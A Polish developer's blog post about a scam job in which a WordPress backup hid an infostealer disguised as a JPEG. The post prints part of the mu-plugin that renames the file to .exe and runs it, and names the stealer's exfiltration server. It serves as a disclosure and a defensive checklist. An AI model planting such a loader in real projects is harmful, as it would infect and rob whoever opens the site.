helban.dev

Wirus udający zdjęcie w backupie WordPressa

Na Upworku klient zaprosił mnie do zlecenia, w którym strona na WordPressie po aktualizacji Elementora pokazywała biały ekran. Hosting wygasł, więc została tylko kopia strony w zipie. Klient zgodził się na moją cenę. Chciał jednak najpierw zrzutu ekranu ze stroną postawioną u mnie na komputerze, z localhost w pasku adresu. Za pierwszy etap miał zapłacić dopiero potem. Zanim cokolwiek uruchomiłem, przejrzałem tę paczkę. Siedział w niej windowsowy program udający zdjęcie i wtyczka, która odpaliłaby go przy pierwszym otwarciu strony. Niżej opisuję, jak to było zrobione i jak sprawdzam takie paczki, zanim je otworzę.

Rodzaj: notatka o bezpieczeństwie Stack: WordPress · PHP · Python Data: listopad 2026

Zlecenie wyglądało zwyczajnie

Opis był krótki i konkretny. Sześć podstron, jeden formularz kontaktowy, żadnego sklepu. Po aktualizacji Elementora padł front i panel admina. Hosting nie został odnowiony, więc cała strona istniała już tylko jako baza i pliki w jednym zipie. Takie problemy trafiają się często i dokładnie taką robotę biorę.

Parę rzeczy mi się jednak nie zgadzało. Konto klienta istniało od dwóch dni. Zaproszenie poszło do trzydziestu osób. Budżet wynosił 1600 dolarów za postawienie sześciu stron, czyli kilka razy więcej niż koszt takiej roboty. Dlatego w ofercie napisałem wprost, że zip otworzę dopiero wtedy, kiedy pieniądze za pierwszy etap będą w depozycie Upworka.

Zrzut ekranu przed zapłatą

Klient zgodził się na cenę i przysłał link do Dropboxa, tylko odwrócił kolejność. Najpierw miałem zrobić robotę, a pieniądze miały przyjść później.

„fully local only, personal reasons. LocalWP or XAMPP on your machine, nothing online. […] Import it locally, send a screenshot with localhost in the bar, and we’ll fund M1”.

Na pierwszy rzut oka nic dziwnego. Klient chce zobaczyć, że umiem, zanim zapłaci. Tyle że do takiego zrzutu trzeba otworzyć stronę w przeglądarce, a otwarcie strony na WordPressie uruchamia cały jej kod PHP na komputerze, na którym stoi. Dlatego najpierw przejrzałem tego zipa z Dropboxa.

Prawie cała paczka była prawdziwa

Zip miał 8300 plików, w tym bazę danych na 33 MB i pełną kopię strony wyeksportowaną wtyczką WP Migrate. Przejrzałem go skryptem, bez rozpakowywania na dysk. WordPress publikuje sumy kontrolne każdego pliku w każdej wersji. Dzięki nim widać, czy plik jest dokładnie taki jak w oficjalnym wydaniu.

Wszystkie 3349 plików rdzenia WordPressa 6.9.5 zgadzały się z tymi sumami co do bajtu, tak samo Elementor i trzy inne wtyczki. Ktoś, kto sprawdziłby tylko sumy kontrolne, niczego by nie znalazł.

Nie zgadzały się dwie rzeczy. W bazie było dziesięć aktywnych wtyczek, a w plikach tylko cztery. Do tego w katalogu mu-plugins, obok dwóch plików z nazwą Hostingera, leżał trzeci plik o nazwie custom-fields-handler.php.

Jak mu-plugin uruchamiał plik .exe udający JPEG

WordPress ładuje mu-pluginy (wtyczki obowiązkowe) przy każdym wyświetleniu strony i nie da się ich wyłączyć w panelu. Plik custom-fields-handler.php robił tylko jedno. Przy starcie szukał w katalogu uploads pliku product-detail-mockup-soft-blue-background.jpeg, zmieniał mu rozszerzenie na .exe i próbował go uruchomić na dziewięć sposobów po kolei, między innymi przez tymczasowy plik .bat i przez Windows Script Host.

$old_filename = 'product-detail-mockup-soft-blue-background.jpeg';
$new_filename = 'product-detail-mockup-soft-blue-background.exe';
// …
if ( ! rename( $old_file_path, $new_file_path ) ) {
// …
$cmd = '"' . $new_file_path . '"';
@exec( $cmd, $output, $code );

To skrócony fragment tego mu-pluginu. Jeśli exec nie zadziała, próbuje po kolei pozostałych ośmiu sposobów, od shell_exec po pcntl_exec.

Ten „obrazek” waży 4,6 MB. Jego pierwsze dwa bajty to litery MZ i od nich zaczyna się każdy windowsowy plik .exe. Prawdziwy JPEG zaczyna się od bajtów FF D8 FF. Rozszerzenie w nazwie każdy może sobie zmienić, ale pierwsze bajty pliku i tak pokazują, czym on jest naprawdę.

Program jest windowsowy, a plik .bat i COM działają tylko na Windowsie. Pewnie dlatego klientowi tak zależało na LocalWP albo XAMPP na moim komputerze. Ten program uruchomiłby się przy pierwszym wejściu na localhost, czyli przy robieniu zrzutu, o który prosił klient.

Mój pierwszy skrypt przepuścił ten plik

Pierwsza wersja mojego skryptu ufała rozszerzeniom, więc ten .jpeg przeszedł jako zwykły obrazek. Złośliwy kod znalazłem dopiero wtedy, kiedy ręcznie przeczytałem każdy plik z mu-plugins. Teraz skrypt czyta pierwsze bajty każdego pliku, wypisuje każdy mu-plugin i oznacza na czerwono taki, który uruchamia program. Ma też test na nieszkodliwej podróbce tej paczki. Skrypt musi ją oznaczyć na czerwono, a jak wyłączę sprawdzanie bajtów, test przestaje przechodzić.

Jak sprawdzić backup WordPressa przed importem

  • Nie uruchamiam go u siebie na komputerze ani w LocalWP czy XAMPP na Windowsie, dopóki nie wiem, co jest w środku.
  • Wypisuję zawartość zipa bez rozpakowywania i sprawdzam pierwsze bajty każdego pliku w uploads.
  • Porównuję rdzeń i wtyczki z sumami kontrolnymi z wordpress.org. Czysty rdzeń nie oznacza jeszcze, że cała paczka jest czysta.
  • Porównuję motyw plik po pliku z tą samą wersją świeżo pobraną z wordpress.org.
  • Czytam każdy plik w wp-content/mu-plugins i każdy plik PHP, który leży bezpośrednio w wp-content.
  • Porównuję listę aktywnych wtyczek w bazie z tym, co faktycznie jest w plikach.
  • W zrzucie bazy szukam kodu PHP oraz wywołań eval( i base64_decode. Sprawdzam też, czy aktywna jest wtyczka do snippetów, na przykład WPCode albo Code Snippets. Takie wtyczki trzymają kod PHP w bazie, a tam nie sięga żadne sprawdzanie plików. W tym eksporcie WPCode był aktywny, choć folderu wtyczki nie było, a zrzutu bazy nie przeszukałem.
  • Dopiero wtedy importuję stronę, w odizolowanym kontenerze na Linuksie.

Co to był za program

Nie uruchomiłem go i ostatecznie nie musiałem. 8 listopada ktoś wgrał fałszywego JPEG-a do VirusTotal, gdzie plik przeszedł przez dwa sandboxy, CAPE i Zenbox. Za szkodliwy uznaje go 10 z 70 silników antywirusowych. Kaspersky i Rising zaliczają go do rodziny Vidar, a Kaspersky klasyfikuje go jako złodzieja haseł (Trojan-PSW). To 64-bitowy program na Windows napisany w Go 1.23.5, z nieważnym podpisem cyfrowym.

W sandboxach uruchamiał Chrome w trybie headless, czyli bez okna, i wysyłał listę procesów oraz część plików na http://144.31.238.11:3457/. Zadziałała też reguła wykrywająca odczyt zapisanych haseł Wi-Fi. Na laptopie freelancera w tej przeglądarce są zalogowane sesje Upworka i poczty.

Zgłoszenie zamiast odpowiedzi

Na wiadomość z linkiem nie odpisałem. Ścieżki plików i sumy SHA-256 wysłałem do działu pomocy Upworka, a stamtąd zgłoszenie trafiło do zespołu bezpieczeństwa Upworka. Nic z tego zipa się u mnie nie uruchomiło, a sam zip już skasowałem.

Kod tej wtyczki wysłałem też do Wordfence, firmy, która robi skaner bezpieczeństwa dla WordPressa. 9 listopada ich zespół analizy zagrożeń odpisał, że wykorzysta tę próbkę do poprawienia sygnatur skanera w jednej z kolejnych aktualizacji.

Jeśli dostałeś ten sam plik

Paczka nazywała się Archive.zip. Jeśli Twoja ma taką samą sumę kontrolną jak niżej, to jest ten sam plik.

Suma SHA-256 pliku Archive.zip
49163178348bd8f41c293c47e814d3c50de8ba66ba69e453110d9a3b4014245c

Suma SHA-256 fałszywego JPEG-a (4 643 720 bajtów)
3c3d0c4a00fb325dad6623813dabd07eb8e715fdd29230d2a3b9fed8f9c474bf

Strona zainfekowana albo został tylko backup?

Napisz, co się dzieje ze stroną i skąd masz backup. Zanim cokolwiek uruchomię, przejrzę pliki. Potem usunę z nich to, co nie powinno tam być, i postawię stronę z powrotem.

Zobacz zakres i cenę